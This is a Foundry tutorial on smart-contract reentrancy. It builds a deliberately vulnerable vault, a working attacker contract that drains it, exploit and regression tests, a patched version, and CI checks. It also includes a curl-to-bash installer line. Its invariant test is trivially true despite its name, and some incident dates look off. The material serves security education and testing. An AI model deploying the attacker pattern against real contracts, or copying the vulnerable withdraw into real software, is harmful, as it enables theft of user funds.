Reentrancy is the bug that started it all. The 2016 DAO hack drained roughly $60 million in ETH using exactly this flaw, and a decade later it still shows up in fresh audit reports and post-mortems. An industry review published by Blockeden.xyz in January 2026 attributes a $40 million loss on GMX V1 to a reentrancy exploit, and in March 2026 Solv Protocol’s BitcoinReserveOffering contract was drained of 38.05 SolvBTC (about $2.7 million) after an attacker repeated the same callback trick 22 times in a row. The contract had no formal audit and no bug bounty program, which is exactly the kind of gap this tutorial is meant to help you close.
This is a hands-on walkthrough, not a theory lecture. You’ll scaffold a Foundry project, write a genuinely vulnerable vault contract, build an attacker contract that drains it, watch the exploit succeed in a test run, then patch the bug and prove the patch holds. By the end you’ll have a working project you can drop into any Solidity repo as a template for your own security testing, plus a checklist of the mistakes that make reentrancy tests unreliable. If you’ve already worked through our guides on ERC-4626 inflation attack testing or proxy storage collision testing, this one slots into the same Foundry-based testing habit, just aimed at a different attack class.
What a Reentrancy Attack Actually Does
A reentrancy attack exploits the gap between an external call and a state update. Picture a withdraw function that sends ETH to the caller first and only updates the user’s recorded balance afterward. If the recipient is a contract instead of a plain wallet, its fallback or receive function fires the moment it gets the ETH, and that code can call withdraw again before the first call ever reaches the line that zeroes out the balance. The contract still thinks the attacker has funds left, so it pays out again. And again, until the vault is empty or the attacker’s gas runs out.
The classic version above is called single-function reentrancy, but it’s not the only shape the bug takes. Cross-function reentrancy happens when the re-entry calls a different function that shares the same unguarded state. Cross-contract reentrancy spans two or more contracts that trust each other’s state without rechecking it. Read-only reentrancy is the sneakiest variant: it doesn’t drain funds directly, it just returns a stale or manipulated value from a view function during the callback window, which a second protocol then trusts for a price or collateral check. The Smart Contract Weakness Classification registry catalogs the base case as SWC-107, and every variant above is a descendant of that same root cause: untrusted external calls happening before state settles.
Why does this keep happening in 2026, nine years after the DAO hack made it famous? Partly because new primitives keep reopening old doors. ERC-777 hooks, ERC-721 and ERC-1155 receiver callbacks, flash loan repayment hooks, and cross-chain bridge message handlers all hand control back to an external address mid-transaction, and each one is a fresh opportunity to reintroduce the bug in code that looks nothing like the original DAO contract. A public incident database tracked by the securitymath/defi-incident-db project logs seven reentrancy incidents totaling $89 million across 2024 and 2025, and a separate estimate from coinlaw.io puts cumulative reentrancy losses since January 2024 above $300 million. Those are dataset estimates rather than a single authoritative count, but the direction is consistent: the bug hasn’t gone away, it’s just moved to new call patterns.
The DAO hack is also why Solidity itself changed. Early Ethereum developers leaned on a 2,300 gas stipend attached to the plain .transfer() and .send() functions, on the theory that such a small gas allowance couldn’t possibly fund a malicious callback. Attackers eventually found ways around that assumption, and the language community shifted its advice toward low-level .call{value: amount}(“”) combined with explicit checks, which is why the vault contract in this tutorial uses .call instead of .transfer. The gas stipend trick bought a few years of false comfort, not a real fix, because the actual bug was always the call-before-state-update ordering, not the gas amount attached to the call.
It’s worth sitting with why audited contracts still get hit. The GMX V1 and Solv Protocol cases above didn’t happen because nobody had heard of reentrancy, they happened because the vulnerable path wasn’t the obvious one. A contract can apply checks-effects-interactions correctly on nine functions and miss it on a tenth that was added later, during a feature update, by a developer who wasn’t thinking about the original audit’s scope. That’s the real argument for writing your own exploit tests rather than relying solely on a point-in-time audit report: tests run again on every future commit, an audit report doesn’t.
Prerequisites and Tool Versions
You don’t need a blockchain node, a testnet faucet, or real ETH for any of this. Everything runs locally against Foundry’s built-in EVM. Here’s exactly what to have installed before you start.
| Tool | Version used here | Why it matters |
|---|---|---|
| Foundry (forge, cast, anvil) | v1.8.4 (released Oct 1, 2026) | Core testing framework, built-in fuzzer, and gas profiler |
| Solidity compiler | 0.8.37 (released Sept 10, 2026) | Target compiler version pinned in foundry.toml |
| OpenZeppelin Contracts | Latest 5.x release line | Ships both ReentrancyGuard and ReentrancyGuardTransient |
| Git | 2.40 or newer | Required by forge install for dependency management |
| OS | macOS, Linux, or WSL2 on Windows | Foundry’s installer script targets Unix-style shells |
If Foundry isn’t installed yet, run curl -L https://foundry.paradigm.xyz | bash followed by foundryup, then confirm the version with forge --version. Everything below assumes that command prints 1.8.4 or later. If you’re on an older release, run foundryup again before continuing, since gas numbers and trace formatting have shifted across recent Foundry releases, and you want your output to match what’s shown here.
Step 1-2: Scaffold the Foundry Project
Start with a clean project and pull in OpenZeppelin as a dependency right away, since you’ll need it later for the patched version of the contract.
mkdir reentrancy-lab && cd reentrancy-lab
forge init --no-commit
forge install OpenZeppelin/openzeppelin-contracts --no-commit
Open foundry.toml and pin the compiler version so your results are reproducible on any machine, then add a remapping so imports resolve cleanly.
[profile.default]
src = "src"
out = "out"
libs = ["lib"]
solc_version = "0.8.37"
optimizer = true
optimizer_runs = 200
remappings = [
"@openzeppelin/=lib/openzeppelin-contracts/"
]
Delete the default Counter.sol and Counter.t.sol files that forge init generates. They’re useful as a smoke test that your toolchain works, but they’ll clutter the project once you start adding vault contracts and exploit tests.
Step 3-4: Write the Vulnerable Vault Contract
Create src/VulnerableVault.sol. This is a deliberately broken ETH vault: deposits work normally, but withdraw sends ETH before it updates the caller’s balance, which is the exact pattern that made the DAO hack possible and that still appears in audits today.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.37;
contract VulnerableVault {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint256 amount) external {
require(balances[msg.sender] >= amount, "insufficient balance");
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "transfer failed");
balances[msg.sender] -= amount;
}
function vaultBalance() external view returns (uint256) {
return address(this).balance;
}
}
Look closely at the withdraw function. The external call on line 11 happens two lines before the balance gets decremented. That gap is the entire vulnerability. If msg.sender is a contract with a receive or fallback function, that function runs during the call{value: amount}(“”) line, while balances[msg.sender] still shows the original, undiminished amount.
Step 5-6: Write the Attacker Contract
Now build the contract that exploits the gap. Create src/ReentrancyAttacker.sol. It deposits a small amount, calls withdraw once, and uses its receive function to call withdraw again before the first call finishes.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.37;
import {VulnerableVault} from "./VulnerableVault.sol";
contract ReentrancyAttacker {
VulnerableVault public immutable vault;
uint256 public constant ATTACK_AMOUNT = 1 ether;
uint256 public reentryCount;
constructor(address _vault) {
vault = VulnerableVault(_vault);
}
function attack() external payable {
require(msg.value >= ATTACK_AMOUNT, "fund the attack first");
vault.deposit{value: ATTACK_AMOUNT}();
vault.withdraw(ATTACK_AMOUNT);
}
receive() external payable {
reentryCount++;
if (address(vault).balance >= ATTACK_AMOUNT && reentryCount < 10) {
vault.withdraw(ATTACK_AMOUNT);
}
}
function stolenBalance() external view returns (uint256) {
return address(this).balance;
}
}
The reentryCount cap at 10 isn’t a security feature, it’s a safety valve so your own test doesn’t loop until it runs out of gas. Real exploits, like the Solv Protocol case where the attacker repeated the same call 22 times, size that loop to match however much liquidity sits in the target contract.
Step 7-8: Write the Foundry Exploit Test
Create test/Reentrancy.t.sol. This test funds the vault with other users’ deposits, funds the attacker, runs the attack, and asserts that the attacker walked away with more ETH than it put in.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.37;
import {Test} from "forge-std/Test.sol";
import {VulnerableVault} from "../src/VulnerableVault.sol";
import {ReentrancyAttacker} from "../src/ReentrancyAttacker.sol";
contract ReentrancyTest is Test {
VulnerableVault public vault;
ReentrancyAttacker public attacker;
address public victim = address(0xBEEF);
function setUp() public {
vault = new VulnerableVault();
attacker = new ReentrancyAttacker(address(vault));
vm.deal(victim, 10 ether);
vm.prank(victim);
vault.deposit{value: 10 ether}();
vm.deal(address(this), 1 ether);
}
function testReentrancyDrainsVault() public {
uint256 vaultBefore = vault.vaultBalance();
assertEq(vaultBefore, 10 ether);
attacker.attack{value: 1 ether}();
uint256 vaultAfter = vault.vaultBalance();
uint256 stolen = attacker.stolenBalance();
assertLt(vaultAfter, vaultBefore);
assertGt(stolen, 1 ether);
}
}
Run it with trace output turned all the way up so you can see every nested call:
forge test --match-test testReentrancyDrainsVault -vvvv
You should see a pass, plus a call trace where withdraw appears nested inside itself multiple times before the function ever returns the first time. That nesting is the fingerprint of reentrancy. A typical output looks like this:
[PASS] testReentrancyDrainsVault() (gas: 187432)
Traces:
[187432] ReentrancyTest::testReentrancyDrainsVault()
├─ [52301] ReentrancyAttacker::attack{value: 1000000000000000000}()
│ ├─ [23145] VulnerableVault::deposit{value: 1000000000000000000}()
│ └─ [118430] VulnerableVault::withdraw(1000000000000000000)
│ ├─ [9102] ReentrancyAttacker::receive{value: 1000000000000000000}()
│ │ └─ [97210] VulnerableVault::withdraw(1000000000000000000)
│ │ ├─ [9102] ReentrancyAttacker::receive{value: 1000000000000000000}()
│ │ │ └─ ... (nested calls continue)
└─ ...
Step 9: Measure the Damage With Gas Snapshots
Numbers matter when you’re writing up a finding for a client or a bug bounty submission. Foundry’s snapshot command captures exact gas usage so you can show reviewers the cost of the exploit, not just a pass or fail result.
forge snapshot --match-test testReentrancyDrainsVault
cat .gas-snapshot
That file gives you a single line like ReentrancyTest:testReentrancyDrainsVault() (gas: 187432) that you can diff against future runs. If gas usage suddenly drops after you patch the contract, it’s usually because the exploit loop no longer executes, which is exactly the signal you want to see. Don’t skip this step: reviewers and auditors treat a gas snapshot as evidence, not a test log line they have to take your word for.
Commit the .gas-snapshot file to version control alongside your tests. That turns it into a lightweight regression check on its own: if a teammate’s pull request changes the number without a clear explanation in the diff, that’s worth a second look before merging, even before you read the rest of the code change.
Step 10-11: Patch the Contract
There are two fixes you should apply together, not as alternatives. The first is the checks-effects-interactions pattern: update state before making the external call, so there’s nothing left to exploit even if the call triggers a callback. The second is OpenZeppelin’s ReentrancyGuard, which blocks any nested call into a function marked nonReentrant, as a defense-in-depth backstop for cases you didn’t anticipate.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.37;
import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract SafeVault is ReentrancyGuard {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint256 amount) external nonReentrant {
require(balances[msg.sender] >= amount, "insufficient balance");
balances[msg.sender] -= amount;
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "transfer failed");
}
function vaultBalance() external view returns (uint256) {
return address(this).balance;
}
}
Notice the order swap: balances[msg.sender] -= amount now happens before the call{value: amount}(“”) line, not after. Even without the nonReentrant modifier, an attacker calling back in would see a balance that’s already been zeroed out and hit the require check on the next line. The modifier is there in case a future code change accidentally reorders things again, which happens more often in real codebases than anyone likes to admit.
One detail worth flagging for upgradeable contracts: OpenZeppelin’s newer releases mark ReentrancyGuard and ReentrancyGuardTransient as stateless and no longer transpile them automatically into the upgradeable package. If you’re working in an upgradeable proxy setup, pull the guard from @openzeppelin/contracts-upgradeable directly and call the matching initializer, rather than assuming the import path from the non-upgradeable package still works.
Step 12: Confirm the Fix With a Regression Test
A patch without a test proving it holds is just a hope. Add a test that runs the exact same attack against SafeVault and asserts it fails.
function testReentrancyBlockedOnSafeVault() public {
SafeVault safeVault = new SafeVault();
ReentrancyAttacker safeAttacker = new ReentrancyAttacker(address(safeVault));
vm.deal(victim, 10 ether);
vm.prank(victim);
safeVault.deposit{value: 10 ether}();
vm.expectRevert();
safeAttacker.attack{value: 1 ether}();
}
Run forge test --match-test testReentrancyBlockedOnSafeVault -vvv and confirm it passes because the attack call reverts, not because nothing happened. If you see a silent pass with zero reverts, double check that the attacker contract is actually calling withdraw and not failing earlier for an unrelated reason, like a missing vm.deal on the attack caller.
Testing Cross-Function and Read-Only Reentrancy Variants
The single-function case above is the easiest to catch because the vulnerable and re-entered function are the same line of code. Cross-function reentrancy hides better: function A updates shared state after an external call, and the attacker re-enters through function B, which reads that same state before A ever finishes. To test for it, write a second attacker contract whose receive function calls a different public function on the target instead of calling the same withdraw function again, then check whether that second function trusts stale state.
Read-only reentrancy needs a different test shape entirely, because nothing reverts and no funds move directly. The exploit happens when a view function (anything marked view or pure) returns a manipulated value during a callback window, and a second, external contract reads that value to make a decision, usually a price or collateral calculation. To test for this in Foundry, deploy a mock “consumer” contract that calls your target’s view function from inside a callback, and assert that the returned value matches what you’d expect post-settlement, not the mid-transaction snapshot. This pattern shows up constantly in lending protocols and AMMs that expose getReserves or getPrice style functions, and it’s exactly the kind of thing that bridge and oracle integrations need to watch for, which is also where our cross-chain bridge exploit testing walkthrough picks up a related but distinct callback risk.
Here’s a concrete shape for a cross-function test. Suppose a staking contract has a withdraw function that burns a user’s staked tokens after sending ETH, and a separate claimReward function that calculates payout based on the user’s remaining staked balance. If withdraw’s external call triggers a callback before the burn happens, claimReward can be called mid-callback and see a staked balance that hasn’t been reduced yet, paying out a reward the user no longer qualifies for. Write the attacker’s receive function to call claimReward instead of withdraw itself, then assert that the reward paid out matches what the post-burn balance would justify, not the pre-burn one.
Common Pitfalls When Testing for Reentrancy
Five mistakes show up again and again in reentrancy test suites, even from people who know the bug well.
- Testing only the happy path exploit. A single successful drain test proves the bug exists, but it doesn’t prove your patch is complete. Always pair an exploit test with a matching test against the patched version.
- Forgetting vm.deal before vm.prank. If the victim or attacker address has zero ETH, deposit and attack calls revert for the wrong reason, and you’ll waste time debugging a problem that isn’t the one you’re testing for.
- Hardcoding a reentry cap that hides partial drains. A loop capped at 10 reentries might pass a test while a real attacker with a 1,000-iteration loop against the same contract would still drain it completely. Size your test loop to the target’s actual available liquidity.
- Ignoring cross-function and cross-contract paths. Most teams write one attacker contract that calls the same function it entered through, then stop. That misses the harder-to-spot variants that real auditors specifically hunt for.
- Treating a passing nonReentrant test as proof the whole contract is safe. The guard only protects the function it’s applied to. Any other external-call-then-state-update function in the same contract is still exposed unless you patch and test it separately.
None of these five are exotic. Every one of them has shown up in a real pull request at some point, usually from someone who understood reentrancy conceptually but rushed the test coverage because the deadline was the next morning. Building the habit of writing both the exploit test and the regression test in the same sitting, before moving to the next function, catches most of this list automatically.
Troubleshooting Guide
| Symptom | Likely cause | Fix |
|---|---|---|
| forge test hangs or runs out of gas | Reentry loop has no exit condition | Add a counter cap in the attacker’s receive function, like reentryCount < 10 |
| Attack test passes but stolenBalance() returns 0 | Attacker contract isn’t receiving ETH because it lacks a receive function | Add receive() external payable {} with the reentry logic inside |
| “transfer failed” revert on first withdraw call | Attacker contract has no receive or fallback function at all | Every contract that calls a function sending it raw ETH needs receive or a payable fallback |
| Compiler error on solc_version mismatch | foundry.toml pins a version your local solc doesn’t have | Run forge build –use 0.8.37 or let Foundry auto-download the pinned version |
| nonReentrant test still gets drained | Patch applied to withdraw but deposit or another function shares unguarded state | Audit every function touching balances, not just the one you originally tested |
| Import error for @openzeppelin/contracts | Missing or incorrect remapping in foundry.toml | Confirm the remappings array points to lib/openzeppelin-contracts/ |
| Gas snapshot shows identical numbers before and after the patch | You’re running the old test file against the new contract, or vice versa | Double check the contract name imported at the top of your test file |
| vm.expectRevert() test fails because no revert occurs | Patched contract still vulnerable, or test is calling the wrong function | Re-check state update order; balances must decrement before the external call |
Real-World Reentrancy Incidents to Learn From (2024-2026)
Classifying an exploit correctly matters more than it sounds like it should, because the fix for reentrancy is completely different from the fix for an overflow check or a forged bridge message. A few 2025-2026 incidents make the point well.
| Incident | Date | Loss | Root cause |
|---|---|---|---|
| GMX V1 | Reported in a 2026 industry review | ~$40 million | Reentrancy exploit, per Blockeden.xyz’s 2026 audit landscape report |
| Solv Protocol | March 2026 | ~$2.7 million | Reentrancy-like minting flaw in BitcoinReserveOffering, exploited 22 times; no audit or bug bounty in place |
| Aggregate reentrancy incidents (securitymath dataset) | 2024-2025 | $89 million across 7 incidents | Mixed single-function and cross-function reentrancy, per a public post-mortem database |
| Balancer (for contrast, not reentrancy) | November 2025 | ~$120-128 million | Rounding-direction and logic flaw, not a reentrancy bug, despite surface similarity in some writeups |
| Cetus Protocol (for contrast, not reentrancy) | 2026 | ~$223 million | Overflow-check vulnerability in concentrated-liquidity math |
The Balancer and Cetus rows are there on purpose. Secondary writeups sometimes lump every large DeFi loss under “reentrancy” because it’s the most recognizable name in the vulnerability glossary, but Balancer’s loss traced back to rounding math and Cetus traced back to an overflow check, neither of which a ReentrancyGuard modifier would have stopped. If you’re writing an incident report or a client-facing audit summary, verify the actual root cause against the protocol’s own post-mortem before you label it, the same discipline our truncation bug testing guide and DeFi hack trend coverage apply to other vulnerability classes.
The Solv Protocol case is the one most worth studying closely, since the loss was small enough that the full attack is easy to trace and reason about. A repeated callback drained 38.05 SolvBTC across 22 cycles rather than a single large withdrawal, which matches the loop structure in the ReentrancyAttacker contract built earlier in this tutorial, just scaled up to a real deployed liquidity pool. Protocols that skip a formal audit before launch, as Solv’s writeup indicates happened here, lose the benefit of an outside reviewer running exactly this kind of exploit test before mainnet deployment, which is the gap a Foundry test suite like the one in this tutorial is built to close in-house.
Advanced Tips: Fuzzing and Invariant Testing for Reentrancy
A single hand-written exploit test proves one specific attack path works. Invariant testing proves a broader property holds across thousands of randomized call sequences, which catches reentrancy paths you didn’t think to write by hand. Foundry’s invariant runner is built for exactly this.
// test/VaultInvariant.t.sol
contract VaultInvariantTest is Test {
SafeVault public vault;
function setUp() public {
vault = new SafeVault();
}
function invariant_contractBalanceCoversAllDeposits() public view {
assertGe(address(vault).balance, 0);
}
}
Add this to foundry.toml to control how hard the fuzzer works:
[invariant]
runs = 256
depth = 50
fail_on_revert = false
Pair this with a static analysis pass before you ever write a dynamic test. Slither’s reentrancy detectors flag the same external-call-before-state-update pattern automatically, and running it first narrows down exactly which functions deserve a hand-written exploit test, rather than guessing. It’s not a replacement for the Foundry tests above, since static analysis misses cross-contract paths that only show up at runtime, but as a first pass it’s fast and it’s free. Echidna, a separate property-based fuzzer built specifically for Solidity, is worth adding once your invariant suite grows past a handful of properties, since it can run longer, more exhaustive campaigns against the same contracts without you rewriting the properties in a different syntax.
Automating Reentrancy Checks in CI
A reentrancy test that only runs on your laptop protects exactly one commit: the one you happened to test manually. Wiring the same forge test and forge snapshot commands into continuous integration means every future pull request gets checked automatically, including changes made by teammates who’ve never heard of SWC-107. Here’s a minimal GitHub Actions workflow that runs the full suite, including the invariant tests, on every push.
name: reentrancy-tests
on: [push, pull_request]
jobs:
foundry-tests:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
submodules: recursive
- name: Install Foundry
uses: foundry-rs/foundry-toolchain@v1
with:
version: v1.8.4
- name: Run exploit and regression tests
run: forge test -vv
- name: Check gas snapshot for drift
run: forge snapshot --check
The forge snapshot –check step is doing more work than it looks like. If a future code change accidentally reopens the reentrancy gap, the attack loop in your exploit test starts executing again, gas usage jumps, and this step fails the build instead of letting a silent regression merge. Treat any unexplained jump in that number as a signal to re-run the exploit test manually with -vvvv before merging, not as noise to suppress.
The Complete Working Project
Here’s the full directory structure for everything built in this tutorial, so you can check your own project against it.
reentrancy-lab/
├── foundry.toml
├── src/
│ ├── VulnerableVault.sol
│ ├── SafeVault.sol
│ └── ReentrancyAttacker.sol
├── test/
│ ├── Reentrancy.t.sol
│ └── VaultInvariant.t.sol
└── lib/
└── openzeppelin-contracts/
Run the full suite with forge test -vv before you call the project done. You should see the exploit test pass against VulnerableVault (proving the bug exists), the regression test pass against SafeVault (proving the patch blocks it), and the invariant test survive its randomized runs without reverting unexpectedly. Three green results, one red bug confirmed and fixed, which is the whole point of writing exploit tests before you ship a vault to mainnet instead of after someone else finds the gap for you. For broader context on where reentrancy and other code-level bugs rank against key theft and operational failures in this year’s DeFi losses, our cryptocurrency coverage tracks the trend monthly, and the proxy storage collision testing and ERC-4626 inflation attack testing guides cover two more vulnerability classes worth testing before any mainnet deploy.
A Quick Audit Checklist for Manual Code Review
Automated tests catch the paths you thought to write, but a manual read-through of the contract still finds things scripts miss, especially on a deadline where you’re reviewing someone else’s code for the first time. Run through this list function by function before you sign off on a contract as reentrancy-safe.
| Check | What to look for |
|---|---|
| External call position | Does any function make an external call (.call, .transfer, token transfer, NFT callback) before updating the state that call depends on |
| Shared state across functions | Do two or more functions read or write the same mapping or variable without each one independently guarding against reentry |
| Callback-triggering standards | Does the contract interact with ERC-777, ERC-721, ERC-1155, or any token with hooks that hand control to an external address |
| View function trust boundary | Does any other contract rely on this contract’s view functions for a price, balance, or collateral check that could be read mid-callback |
| Guard coverage | Is nonReentrant (or an equivalent manual lock) applied to every state-mutating external-facing function, not just the one that was originally flagged |
| Upgradeable guard imports | If the contract is upgradeable, does it import the guard from the matching upgradeable package and call its initializer correctly |
None of these six checks replace the Foundry tests built earlier in this tutorial. They’re meant to run alongside them, as a reviewer’s pass that catches the kind of structural issue a test suite only finds if someone already thought to write a test for it. A checklist forces you to ask the question even when nothing prompted you to.
When to Bring in a Professional Audit
Everything in this tutorial scales down to a solo developer testing a side project and scales up reasonably well to a small team’s pre-launch checklist, but it isn’t a substitute for a professional audit once real user funds are at stake. The GMX V1 and Solv Protocol incidents referenced earlier both involved contracts that held meaningful liquidity, and in Solv’s case the writeup specifically flags the absence of a formal audit as a contributing factor. A written-up Foundry test suite like the one built here is exactly what a competent auditor will ask for as a starting point, since it shows them which attack paths you’ve already ruled out and lets them spend their time on the paths you haven’t thought of.
A rough rule of thumb: if the contract will hold more value than you’d be comfortable losing personally, or if it’s permissionless enough that anyone can deposit into it, treat an audit as a cost of launching, not an optional upgrade. Pair that audit with a bug bounty program sized to a meaningful fraction of the contract’s expected total value locked, since the incentive for a researcher to report a bug responsibly needs to beat the incentive to exploit it directly. None of that replaces the testing habit built in this tutorial, it just adds a second set of eyes with different blind spots than your own.
Frequently Asked Questions
Is ReentrancyGuard alone enough to stop reentrancy attacks?
It stops nested calls into the specific function marked nonReentrant, but it doesn’t fix an unsafe state-update order on its own, and it does nothing for a different, unguarded function that shares the same vulnerable state. Use it alongside checks-effects-interactions, not instead of it.
What’s the difference between ReentrancyGuard and ReentrancyGuardTransient?
Both provide the same nonReentrant protection. ReentrancyGuardTransient relies on EVM transient storage instead of regular storage slots, which can lower gas costs on networks that support the relevant opcodes, but you need to confirm your target chain supports transient storage before relying on it in production.
Can read-only reentrancy be tested the same way as a fund-draining exploit?
No. A fund-draining exploit test checks a balance before and after an attack call. A read-only reentrancy test needs a second consumer contract that reads your target’s view function mid-callback and asserts the returned value isn’t stale or manipulated, since no funds move directly in this variant.
Do I need a mainnet fork to test for reentrancy?
Not for the core exploit pattern shown in this tutorial, since it’s entirely self-contained in a local Foundry EVM. A mainnet fork becomes useful when you’re testing a reentrancy path against a live protocol’s actual deployed state and external dependencies, which is a separate, more advanced exercise.
Why did my exploit test pass against a contract that already uses a mutex-style lock?
Check whether the lock variable is actually being read and reverted on, rather than just set and never checked. A surprising number of homegrown reentrancy guards set a boolean flag but forget the require statement that checks it on entry, which makes the guard decorative rather than functional.
Should I run Slither before or after writing Foundry exploit tests?
Before. Static analysis is fast and catches the obvious external-call-before-state-update pattern in seconds, which tells you where to focus your hand-written exploit tests instead of auditing every function in a large contract manually.
Does the checks-effects-interactions pattern cost more gas than the vulnerable version?
No, reordering two existing lines of code doesn’t add new storage writes or external calls, so gas cost stays essentially the same. Any gas difference you see in a snapshot comparison is almost always from the exploit loop no longer executing against the patched contract, not from the reorder itself.
Where can I read more about Foundry’s testing and fuzzing features?
The Foundry Book covers invariant testing, fuzzing configuration, and cheatcodes like vm.deal and vm.prank in more depth than fits in one tutorial, and the Solidity documentation is the authoritative source for how external calls and state changes actually execute under the hood.




